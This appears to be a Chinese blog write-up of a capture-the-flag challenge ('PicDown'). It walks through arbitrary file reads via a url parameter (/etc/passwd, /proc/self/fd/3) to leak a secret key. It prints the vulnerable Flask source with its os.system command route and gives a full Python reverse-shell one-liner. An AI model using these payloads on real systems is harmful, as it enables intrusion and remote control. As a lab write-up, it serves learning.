首页 > 其他分享 >[网鼎杯 2020 白虎组]PicDown

[网鼎杯 2020 白虎组]PicDown

时间:2023-01-08 23:25:24浏览次数:50  
标签:__ shell 读取 url SECRET 2020 PicDown 网鼎杯 os

[网鼎杯 2020 白虎组]PicDown

考点:1、任意文件读取及Linux进程查看 2、python脚本反弹shell

进去之后在输入处随便输个啥,发现url有参数,猜测ssrf

page?url=http://www.baidu.com

image-20211207125206946

返回了请求值,使用file协议无果,就试了一下直接读取文件

page?url=/etc/passwd

image-20211207125326165

读取成功,存在任意文件读取

非预期解

尝试直接读取/flag

image-20211207125439037

预期解

尝试读取用于当前进程的启动命令

page?url=/proc/self/cmdline

image-20211207125812325

接下来读取app.py,获得源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

从路由/no_one_know_the_manager可以看到,如果获得了SECRET_KEY就可以获得shell了。读取/proc/self/fd/3

重点:这里打开了文件并没有关闭,这里就是漏洞利用点!!!fd目录下保存的文件都是以数字存储的,我们使用爆破可知在3处有数据

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;

paeg?url=/proc/self/fd/3

image-20211207130233789

至此获得了SECRET_KEY

/no_one_know_the_manager?key=lIZatnx0S3HWqem013h0YpU6cXK30sQRPwKEZr4e6FU=&shell=ls

但是发现shell执行的命令并不会返回结果,所以使用反弹shell

这里直接使用python脚本反弹

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

将该payload进行url全编码后即可成功反弹

image-20211207132702535

这里我还专门看了一下search.html的内容,就说为什么我使用file协议并没有回显HACK ERROR!

标签:__,shell,读取,url,SECRET,2020,PicDown,网鼎杯,os
From: https://www.cnblogs.com/seizer/p/17035714.html

相关文章

  • [BJDCTF2020]EzPHP
    [BJDCTF2020]EzPHP考点:php的各种bypassF12发现注释<!--GFXEIM3YFZYGQ4A=-->base32解密得到1nD3x.php,访问后得到源码Level1if($_SERVER){if(preg......
  • [GYCTF2020]Easyphp
    [GYCTF2020]Easyphp考点:反序列化的对象逃逸非常典型的登陆界面,随便输了输,发现存在admin用户,猜测是弱口令,拿字典跑了一遍,无果按照以往的做题经验,觉得可能有源码泄露,尝试/......
  • [MRCTF2020]Ezaudit
    [MRCTF2020]Ezaudit考点:php的伪随机数好复杂的页面,搜索了一下php、form等可能可以利用的字段无果,然后猜测有备份,果然尝试了一下www.zip,里面有一个index.php<?phpheade......
  • re | [NPUCTF2020]芜湖
    re|[NPUCTF2020]芜湖......
  • One Bamboo Contest Round #12(Clone from 2020 ICPC Shenyang)
    G.TheWitchwood签到#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;intread(){intx=0,ch=getchar();while(ch<'0'||c......
  • re | [MRCTF2020]VirtualTree
    re|[MRCTF2020]VirtualTree这个题是一个错题,是有多解的。原因是使用了abs函数考察了二叉树后序遍历,和一点基本花指令,还有一点点smc的内容。直接丢exp了:#include<s......
  • Waves Complete 11 for Mac(Waves全套混音插件包) v2020.11.12 完美激活版
    给大家带来一组超棒的音频信号处理套装!WavesCompleteformac是一款超强大的音乐创作工具,含有各种混音插件,从运行速度到插件调用,性能和速度都大大提升,从混响,压缩,降噪和EQ到......
  • MaoWei-2020-HistoryRepeatsItself-ECCV
    HistoryRepeatsItself:HumanMotionPredictionviaMotionAttention#paper1.paper-info1.1MetadataAuthor::[[WeiMao]],[[MiaomiaoLiu]],[[MathieuSal......
  • Dubbo Provider远程代码执行漏洞(CVE-2020-1948)
    漏洞编号CVE-2020-1948漏洞原理Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞,攻击者发送未经验证的服务名或方法名的RPC请求,使Dub......
  • SpringCloud 2020.x.x工程bootstrap引导配置不生效的解决方案
      关注公众号风色年代(itfantasycc)500GJava微服务资料合集送上~注意:2020版本以后,添加spring-cloud-context是没有用的,因为官方重构了bootstrap引导配置的加载方式需要增......